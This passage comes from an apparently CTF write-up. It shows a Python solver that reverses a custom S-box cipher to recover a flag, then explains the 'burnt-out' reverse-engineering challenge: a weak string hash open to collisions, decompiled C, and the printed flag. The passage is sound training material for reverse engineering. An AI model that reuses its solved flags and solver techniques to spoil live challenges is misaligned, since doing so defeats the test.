    <span class="mh">0x37</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0xa5</span><span class="p">,</span> <span class="mh">0x36</span><span class="p">,</span> <span class="mh">0x6d</span><span class="p">,</span> <span class="mh">0x2c</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x2a</span><span class="p">,</span> <span class="mh">0x4f</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x28</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x64</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x8a</span><span class="p">,</span>
    <span class="mh">0x1c</span><span class="p">,</span> <span class="mh">0xc6</span><span class="p">,</span> <span class="mh">0xd5</span><span class="p">,</span> <span class="mh">0xb4</span><span class="p">,</span> <span class="mh">0xa6</span><span class="p">,</span> <span class="mh">0x9c</span><span class="p">,</span> <span class="mh">0x47</span><span class="p">,</span> <span class="mh">0x82</span><span class="p">,</span> <span class="mh">0x3f</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x9b</span><span class="p">,</span> <span class="mh">0x7a</span><span class="p">,</span>
    <span class="mh">0x22</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0xe4</span><span class="p">,</span> <span class="mh">0x63</span><span class="p">,</span> <span class="mh">0xb7</span><span class="p">,</span> <span class="mh">0xa0</span><span class="p">,</span> <span class="mh">0x72</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x4e</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x42</span><span class="p">,</span> <span class="mh">0x5a</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x6a</span><span class="p">,</span>
    <span class="mh">0x81</span><span class="p">,</span> <span class="mh">0x33</span><span class="p">,</span> <span class="mh">0x67</span><span class="p">,</span> <span class="mh">0xfd</span><span class="p">,</span> <span class="mh">0xbd</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0xe1</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xb8</span><span class="p">,</span> <span class="mh">0x5f</span><span class="p">,</span> <span class="mh">0x7e</span><span class="p">,</span> <span class="mh">0xeb</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0x79</span><span class="p">,</span> <span class="mh">0x98</span><span class="p">,</span>
    <span class="mh">0x85</span><span class="p">,</span> <span class="mh">0x70</span><span class="p">,</span> <span class="mh">0x65</span><span class="p">,</span> <span class="mh">0x10</span><span class="p">,</span> <span class="mh">0x96</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xf3</span><span class="p">,</span> <span class="mh">0xb0</span><span class="p">,</span> <span class="mh">0xee</span><span class="p">,</span> <span class="mh">0xae</span><span class="p">,</span> <span class="mh">0x7d</span><span class="p">,</span> <span class="mh">0x6e</span><span class="p">,</span> <span class="mh">0x19</span><span class="p">,</span> <span class="mh">0xba</span><span class="p">,</span> <span class="mh">0xa9</span><span class="p">,</span> <span class="mh">0xc8</span><span class="p">,</span>
    <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x3c</span><span class="p">,</span> <span class="mh">0x91</span><span class="p">,</span> <span class="mh">0x9d</span><span class="p">,</span> <span class="mh">0xa7</span><span class="p">,</span> <span class="mh">0xe3</span><span class="p">,</span> <span class="mh">0xe0</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0xad</span><span class="p">,</span> <span class="mh">0x45</span><span class="p">,</span> <span class="mh">0xb2</span><span class="p">,</span> <span class="mh">0x94</span><span class="p">,</span> <span class="mh">0x38</span><span class="p">,</span> <span class="mh">0xf8</span><span class="p">,</span>
    <span class="mh">0xd1</span><span class="p">,</span> <span class="mh">0x84</span><span class="p">,</span> <span class="mh">0x8c</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0xc1</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0xcb</span><span class="p">,</span> <span class="mh">0x34</span><span class="p">,</span> <span class="mh">0x95</span><span class="p">,</span> <span class="mh">0xde</span><span class="p">,</span> <span class="mh">0x9f</span><span class="p">,</span> <span class="mh">0x7c</span><span class="p">,</span> <span class="mh">0x69</span><span class="p">,</span>
    <span class="mh">0x76</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0x6b</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mh">0x71</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0x66</span><span class="p">,</span> <span class="mh">0x7b</span><span class="p">,</span> <span class="mh">0xbe</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0xe5</span><span class="p">,</span> <span class="mh">0x2e</span><span class="p">,</span> <span class="mh">0xca</span><span class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span>
    <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0xc3</span><span class="p">,</span> <span class="mh">0xc0</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xed</span><span class="p">,</span> <span class="mh">0x5b</span><span class="p">,</span> <span class="mh">0x57</span><span class="p">,</span> <span class="mh">0xd6</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xcf</span><span class="p">,</span> <span class="mh">0xa8</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x97</span><span class="p">,</span> <span class="mh">0x16</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x8e</span><span class="p">,</span>
    <span class="mh">0x43</span><span class="p">,</span> <span class="mh">0x54</span><span class="p">,</span> <span class="mh">0x90</span><span class="p">,</span> <span class="mh">0xdd</span><span class="p">,</span> <span class="mh">0xaf</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0x8d</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0xbf</span><span class="p">,</span> <span class="mh">0xbb</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xcc</span><span class="p">,</span> <span class="mh">0xf2</span><span class="p">,</span> <span class="mh">0x8f</span><span class="p">,</span> <span class="mh">0xec</span><span class="p">,</span> <span class="mh">0x2d</span><span class="p">,</span>
    <span class="mh">0xe6</span><span class="p">,</span> <span class="mh">0xf6</span><span class="p">,</span> <span class="mh">0xf7</span><span class="p">,</span> <span class="mh">0xfa</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xd4</span><span class="p">,</span> <span class="mh">0x15</span><span class="p">,</span> <span class="mh">0xc9</span><span class="p">,</span> <span class="mh">0xce</span><span class="p">,</span> <span class="mh">0xef</span><span class="p">,</span> <span class="mh">0xfc</span><span class="p">,</span> <span class="mh">0xc2</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xbc</span><span class="p">,</span> <span class="mh">0xea</span><span class="p">,</span>
    <span class="mh">0xb6</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0xe7</span><span class="p">,</span> <span class="mh">0x68</span><span class="p">,</span> <span class="mh">0xaa</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0xa4</span><span class="p">,</span> <span class="mh">0xe2</span><span class="p">,</span> <span class="mh">0x9e</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xdf</span><span class="p">,</span> <span class="mh">0x59</span><span class="p">,</span> <span class="mh">0xf5</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0x18</span><span class="p">,</span> <span class="mh">0xf9</span><span class="p">,</span>
    <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x27</span><span class="p">,</span> <span class="mh">0x6c</span><span class="p">,</span> <span class="mh">0xcd</span><span class="p">,</span> <span class="mh">0xd9</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0xa1</span><span class="p">,</span> <span class="mh">0xdc</span><span class="p">,</span> <span class="mh">0xab</span><span class="p">,</span> <span class="mh">0x14</span><span class="p">,</span> <span class="mh">0x29</span><span class="p">,</span> <span class="mh">0x80</span><span class="p">,</span> <span class="mh">0x7f</span><span class="p">,</span> <span class="mh">0x75</span><span class="p">,</span> <span class="mh">0x49</span><span class="p">,</span>
    <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0xf4</span><span class="p">,</span> <span class="mh">0x4a</span><span class="p">,</span> <span class="mh">0xf0</span><span class="p">,</span> <span class="mh">0x4d</span><span class="p">,</span> <span class="mh">0xf1</span><span class="p">,</span> <span class="mh">0x3e</span><span class="p">,</span> <span class="mh">0xfb</span><span class="p">,</span> <span class="mh">0xfe</span><span class="p">,</span> <span class="mh">0xc5</span><span class="p">,</span> <span class="mh">0x87</span><span class="p">,</span> <span class="mh">0xe8</span><span class="p">,</span> <span class="mh">0xa2</span><span class="p">,</span> <span class="mh">0x99</span>
<span class="p">]</span>

<span class="n">INV_SBOX</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="mi">256</span>

<span class="n">data</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">([</span> <span class="mh">0x84</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x5f</span><span class="p">,</span> <span class="mh">0x9c</span><span class="p">,</span> <span class="mh">0xf0</span><span class="p">,</span> <span class="mh">0xa8</span><span class="p">,</span> <span class="mh">0x5a</span><span class="p">,</span> <span class="mh">0x21</span> <span class="p">])</span>


<span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">val</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">SBOX</span><span class="p">):</span>
    <span class="n">INV_SBOX</span><span class="p">[</span><span class="n">val</span><span class="p">]</span> <span class="o">=</span> <span class="n">i</span>

<span class="k">def</span> <span class="nf">rot_left</span><span class="p">(</span><span class="n">byte_val</span><span class="p">,</span> <span class="n">amount</span><span class="p">):</span>
    <span class="n">byte_val</span> <span class="o">&amp;=</span> <span class="mh">0xFF</span>
    <span class="n">amount</span> <span class="o">=</span> <span class="n">amount</span> <span class="o">%</span> <span class="mi">8</span>
    <span class="k">return</span> <span class="p">((</span><span class="n">byte_val</span> <span class="o">&lt;&lt;</span> <span class="n">amount</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">byte_val</span> <span class="o">&gt;&gt;</span> <span class="p">(</span><span class="mi">8</span> <span class="o">-</span> <span class="n">amount</span><span class="p">)))</span> <span class="o">&amp;</span> <span class="mh">0xFF</span>

<span class="k">def</span> <span class="nf">rot_right</span><span class="p">(</span><span class="n">byte_val</span><span class="p">,</span> <span class="n">amount</span><span class="p">):</span>
    <span class="n">byte_val</span> <span class="o">&amp;=</span> <span class="mh">0xFF</span>
    <span class="n">amount</span> <span class="o">=</span> <span class="n">amount</span> <span class="o">%</span> <span class="mi">8</span>
    <span class="k">return</span> <span class="p">((</span><span class="n">byte_val</span> <span class="o">&gt;&gt;</span> <span class="n">amount</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">byte_val</span> <span class="o">&lt;&lt;</span> <span class="p">(</span><span class="mi">8</span> <span class="o">-</span> <span class="n">amount</span><span class="p">)))</span> <span class="o">&amp;</span> <span class="mh">0xFF</span>

<span class="k">def</span> <span class="nf">undo_final</span><span class="p">(</span><span class="n">encrypted_block</span><span class="p">,</span> <span class="n">bufferozzo</span><span class="p">,</span> <span class="n">integer_buffer</span><span class="p">):</span>
    <span class="n">hash_copy</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">encrypted_block</span><span class="p">)</span>
    
    <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">):</span>  <span class="c1"># j = 3, 2, 1, 0
</span>        <span class="n">int_element</span> <span class="o">=</span> <span class="n">integer_buffer</span><span class="p">[</span><span class="n">j</span><span class="p">]</span>
        
        <span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
            <span class="n">hash_copy</span><span class="p">[</span><span class="n">k</span><span class="p">]</span> <span class="o">=</span> <span class="n">rot_right</span><span class="p">(</span><span class="n">hash_copy</span><span class="p">[</span><span class="n">k</span><span class="p">],</span> <span class="p">(</span><span class="n">j</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">%</span> <span class="mi">8</span><span class="p">)</span>
            <span class="n">hash_copy</span><span class="p">[</span><span class="n">k</span><span class="p">]</span> <span class="o">^=</span> <span class="p">(</span><span class="n">int_element</span> <span class="o">&gt;&gt;</span> <span class="p">((</span><span class="n">k</span> <span class="o">%</span> <span class="mi">4</span><span class="p">)</span> <span class="o">*</span> <span class="mi">8</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xFF</span>
        
        <span class="n">temp</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="mi">8</span>
        <span class="k">for</span> <span class="n">ii</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
            <span class="n">original_pos</span> <span class="o">=</span> <span class="p">(</span><span class="n">ii</span> <span class="o">*</span> <span class="mi">3</span> <span class="o">+</span> <span class="n">j</span><span class="p">)</span> <span class="o">%</span> <span class="mi">8</span>
            <span class="n">temp</span><span class="p">[</span><span class="n">ii</span><span class="p">]</span> <span class="o">=</span> <span class="n">hash_copy</span><span class="p">[</span><span class="n">original_pos</span><span class="p">]</span>
        <span class="n">hash_copy</span> <span class="o">=</span> <span class="n">temp</span>
        
        <span class="k">for</span> <span class="n">jj</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
            <span class="n">chiave</span> <span class="o">=</span> <span class="p">(</span><span class="n">int_element</span> <span class="o">+</span> <span class="n">jj</span> <span class="o">+</span> <span class="n">j</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span>
            <span class="n">hash_copy</span><span class="p">[</span><span class="n">jj</span><span class="p">]</span> <span class="o">=</span> <span class="n">INV_SBOX</span><span class="p">[</span><span class="n">hash_copy</span><span class="p">[</span><span class="n">jj</span><span class="p">]]</span>
            <span class="n">hash_copy</span><span class="p">[</span><span class="n">jj</span><span class="p">]</span> <span class="o">^=</span> <span class="n">chiave</span>
    
    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
        <span class="n">hash_copy</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^=</span> <span class="n">bufferozzo</span><span class="p">[</span><span class="n">i</span> <span class="o">%</span> <span class="nb">len</span><span class="p">(</span><span class="n">bufferozzo</span><span class="p">)]</span>
    
    <span class="k">return</span> <span class="nb">bytes</span><span class="p">(</span><span class="n">hash_copy</span><span class="p">)</span>




<span class="k">def</span> <span class="nf">final_test</span><span class="p">(</span><span class="n">hash_block</span><span class="p">,</span> <span class="n">bufferozzo</span><span class="p">,</span> <span class="n">integer_buffer</span><span class="p">):</span>
    <span class="n">hash_copy</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">hash_block</span><span class="p">)</span>
    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
        <span class="n">hash_copy</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^=</span> <span class="n">bufferozzo</span><span class="p">[</span><span class="n">i</span> <span class="o">%</span> <span class="nb">len</span><span class="p">(</span><span class="n">bufferozzo</span><span class="p">)]</span>
    <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">):</span>
        <span class="n">int_element</span> <span class="o">=</span> <span class="n">integer_buffer</span><span class="p">[</span><span class="n">j</span><span class="p">]</span>
        <span class="k">for</span> <span class="n">jj</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
            <span class="n">chiave</span> <span class="o">=</span> <span class="p">(</span><span class="n">int_element</span> <span class="o">+</span> <span class="n">jj</span> <span class="o">+</span> <span class="n">j</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span>
            <span class="n">hash_copy</span><span class="p">[</span><span class="n">jj</span><span class="p">]</span> <span class="o">=</span> <span class="n">SBOX</span><span class="p">[</span><span class="n">hash_copy</span><span class="p">[</span><span class="n">jj</span><span class="p">]</span> <span class="o">^</span> <span class="n">chiave</span><span class="p">]</span>
        <span class="n">temp</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="mi">8</span>
        <span class="k">for</span> <span class="n">ii</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
            <span class="n">temp</span><span class="p">[(</span><span class="n">ii</span> <span class="o">*</span> <span class="mi">3</span> <span class="o">+</span> <span class="n">j</span><span class="p">)</span> <span class="o">%</span> <span class="mi">8</span><span class="p">]</span> <span class="o">=</span> <span class="n">hash_copy</span><span class="p">[</span><span class="n">ii</span><span class="p">]</span>
        <span class="n">hash_copy</span> <span class="o">=</span> <span class="n">temp</span>
        <span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
            <span class="n">hash_copy</span><span class="p">[</span><span class="n">k</span><span class="p">]</span> <span class="o">^=</span> <span class="p">(</span><span class="n">int_element</span> <span class="o">&gt;&gt;</span> <span class="p">((</span><span class="n">k</span> <span class="o">%</span> <span class="mi">4</span><span class="p">)</span> <span class="o">*</span> <span class="mi">8</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xFF</span>
            <span class="n">hash_copy</span><span class="p">[</span><span class="n">k</span><span class="p">]</span> <span class="o">=</span> <span class="n">rot_left</span><span class="p">(</span><span class="n">hash_copy</span><span class="p">[</span><span class="n">k</span><span class="p">],</span> <span class="p">(</span><span class="n">j</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">%</span> <span class="mi">8</span><span class="p">)</span>
    <span class="k">return</span> <span class="nb">bytes</span><span class="p">(</span><span class="n">hash_copy</span><span class="p">)</span>



<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">flag_cipher</span> <span class="o">=</span> <span class="p">[</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x25</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x8f</span><span class="p">,</span> <span class="mh">0x3b</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x54</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0xc4</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x88</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0xe1</span><span class="p">,</span> <span class="mh">0xa5</span><span class="p">,</span> <span class="mh">0xc8</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0x3b</span><span class="p">,</span> <span class="mh">0x55</span><span class="p">,</span> <span class="mh">0x1c</span><span class="p">,</span> <span class="mh">0xca</span><span class="p">,</span> <span class="mh">0x38</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x6d</span><span class="p">,</span> <span class="mh">0x9c</span><span class="p">,</span> <span class="mh">0xb2</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0xd6</span><span class="p">,</span> <span class="mh">0x2d</span><span class="p">,</span> <span class="mh">0xad</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xea</span><span class="p">,</span> <span class="mh">0xba</span><span class="p">,</span> <span class="mh">0xbe</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x3d</span><span class="p">,</span> <span class="mh">0xca</span><span class="p">,</span> <span class="mh">0xfa</span><span class="p">,</span> <span class="mh">0x54</span><span class="p">,</span> <span class="mh">0x87</span><span class="p">,</span> <span class="mh">0x6e</span><span class="p">,</span> <span class="mh">0xa6</span><span class="p">,</span> <span class="mh">0x95</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xef</span><span class="p">,</span> <span class="mh">0xeb</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0xe5</span><span class="p">,</span> <span class="mh">0x94</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0xaa</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0xbc</span><span class="p">,</span> <span class="mh">0x3c</span><span class="p">,</span> <span class="mh">0x99</span><span class="p">,</span> <span class="mh">0x7e</span><span class="p">,</span> <span class="mh">0xdd</span><span class="p">,</span> <span class="mh">0xc0</span><span class="p">,</span> <span class="mh">0x3e</span><span class="p">,</span> <span class="mh">0x38</span><span class="p">,</span> <span class="mh">0xea</span><span class="p">,</span> <span class="mh">0x82</span><span class="p">,</span> <span class="mh">0xf1</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x06</span> <span class="p">]</span>

    <span class="n">bufferozzo</span> <span class="o">=</span>  <span class="sa">b</span><span class="s">'</span><span class="se">\xb4\x05\x99\xa2\xf1</span><span class="s">Q%</span><span class="se">\xea\xb4\x05\x99\xa2\xf1</span><span class="s">Q%</span><span class="se">\xea</span><span class="s">'</span>
    <span class="n">integer_buffer</span> <span class="o">=</span>  <span class="p">[</span><span class="mi">119599210</span><span class="p">,</span> <span class="mi">3228966940</span><span class="p">,</span> <span class="mi">2162966584</span><span class="p">,</span> <span class="mi">2412172536</span><span class="p">]</span>

    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">flag_cipher</span><span class="p">),</span> <span class="mi">8</span><span class="p">):</span>
        <span class="n">enc_block</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">(</span><span class="n">flag_cipher</span><span class="p">[</span><span class="n">i</span><span class="p">:</span><span class="n">i</span><span class="o">+</span><span class="mi">8</span><span class="p">])</span>
        <span class="n">decrypted_block</span> <span class="o">=</span> <span class="n">undo_final</span><span class="p">(</span><span class="n">enc_block</span><span class="p">,</span> <span class="n">bufferozzo</span><span class="p">,</span> <span class="n">integer_buffer</span><span class="p">)</span>

        <span class="n">plain</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">decrypted_block</span><span class="p">,</span> <span class="n">data</span><span class="p">)</span>
        <span class="n">data</span> <span class="o">=</span> <span class="n">enc_block</span>
        <span class="k">print</span><span class="p">(</span><span class="n">plain</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">,</span> <span class="n">errors</span><span class="o">=</span><span class="s">'ignore'</span><span class="p">),</span> <span class="n">end</span><span class="o">=</span><span class="s">''</span><span class="p">)</span>

</code></pre></div></div>

<p>Note: the values contained in the buffer were found using partial static analysis and a debugger on macOS</p>

<h2 id="reverse-engineering---burnt-out">Reverse Engineering - burnt-out</h2>

<blockquote>
  <p>Flag: <code class="language-plaintext highlighter-rouge">DCTF{n0w_y0Ur3_7h1nk1n6_w17h_d4t4}</code></p>
</blockquote>

<p>The challenge accepts a JSON input which describes actions to be executed by the binary. The goal is to craft a JSON that triggers the code path that prints the flag.</p>

<p>The challenge provides the following example input:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"on_start"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
    </span><span class="p">{</span><span class="w">
      </span><span class="nl">"$type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"log_action_t"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"message"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Hello World!"</span><span class="w">
    </span><span class="p">}</span><span class="w">
  </span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">log_action_t</code> string is associated with a function that prints the <code class="language-plaintext highlighter-rouge">message</code> field, so running the binary with the example prints Hello World!.</p>

<p>The binary does not map <code class="language-plaintext highlighter-rouge">$type</code> strings to functions directly by name. Instead, it computes a simple hash of the string and compares the result against saved hash values. The hash function (reimplemented in Python) is:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># hash function implemented in python
</span><span class="k">def</span> <span class="nf">calculate_hash</span><span class="p">(</span><span class="n">string</span><span class="p">):</span>
    <span class="n">hash_value</span> <span class="o">=</span> <span class="mi">0</span>
    <span class="k">for</span> <span class="n">position</span><span class="p">,</span> <span class="n">char</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">string</span><span class="p">,</span> <span class="mi">1</span><span class="p">):</span>
        <span class="n">hash_value</span> <span class="o">+=</span> <span class="nb">ord</span><span class="p">(</span><span class="n">char</span><span class="p">)</span> <span class="o">*</span> <span class="n">position</span>
    <span class="k">return</span> <span class="n">hash_value</span>

</code></pre></div></div>
<p>This hashing function is not secure: collisions are easy to find, also by hand.</p>

<p>When a function is called using this mechanism, the first parameter is always a pointer to a struct (I refer to it as player_t). After investigating I found out that the first two integer of this struct are the position coordinates of the player and the byte located at offset 9 of this struct control whether or not the flag must be printed. If that value is not zero, then the flag is printed.</p>

<p>So i started searching for a function that writes at that specific offset, and found this:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="n">undefined8</span> <span class="nf">maybe_win</span><span class="p">(</span><span class="n">player_t</span> <span class="o">*</span><span class="n">player</span><span class="p">,</span><span class="n">uint</span> <span class="o">*</span><span class="n">mappa</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">move_direction</span><span class="p">)</span>

<span class="p">{</span>
  <span class="n">uint</span> <span class="n">uVar1</span><span class="p">;</span>
  <span class="n">undefined8</span> <span class="n">uVar2</span><span class="p">;</span>
  <span class="n">uint</span> <span class="n">next_x</span><span class="p">;</span>
  <span class="n">uint</span> <span class="n">next_y</span><span class="p">;</span>
  <span class="n">uint</span> <span class="n">x_coord</span><span class="p">;</span>
  <span class="n">uint</span> <span class="n">y_coord</span><span class="p">;</span>
  
  <span class="n">uVar1</span> <span class="o">=</span> <span class="o">*</span><span class="n">move_direction</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span>
  <span class="k">if</span> <span class="p">(</span><span class="mi">3</span> <span class="o">&lt;</span> <span class="n">uVar1</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">__printf_chk</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="s">"Assertion failed: "</span><span class="p">);</span>
    <span class="n">__printf_chk</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="s">"dir cannot be none"</span><span class="p">);</span>
    <span class="n">__printf_chk</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="o">&amp;</span><span class="n">DAT_0010a9f7</span><span class="p">);</span>
    <span class="n">__printf_chk</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="o">&amp;</span><span class="n">DAT_0010a9f7</span><span class="p">);</span>
                    <span class="cm">/* WARNING: Subroutine does not return */</span>
    <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="n">x_coord</span> <span class="o">=</span> <span class="n">player</span><span class="o">-&gt;</span><span class="n">x_coord</span><span class="p">;</span>
  <span class="n">y_coord</span> <span class="o">=</span> <span class="n">player</span><span class="o">-&gt;</span><span class="n">y_coord</span><span class="p">;</span>
